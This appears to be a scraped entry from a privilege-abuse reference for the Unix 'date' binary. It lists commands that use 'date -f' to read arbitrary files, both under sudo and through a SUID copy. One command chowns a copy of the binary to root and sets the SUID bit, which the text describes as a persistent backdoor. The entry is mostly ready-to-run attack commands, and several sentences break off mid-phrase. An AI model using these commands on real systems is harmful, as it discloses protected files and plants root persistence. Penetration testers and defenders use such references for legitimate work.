Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files.
This only works for the GNU variant of
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read date -f $LFILE
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems
like Debian that allow the default
sh shell to run with SUID privileges.
cp $(which date) . sudo sh -c 'chown 0 ./date; chmod +s ./date' LFILE=file_to_read ./date -f $LFILE
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on
LFILE=file_to_read sudo date -f $LFILE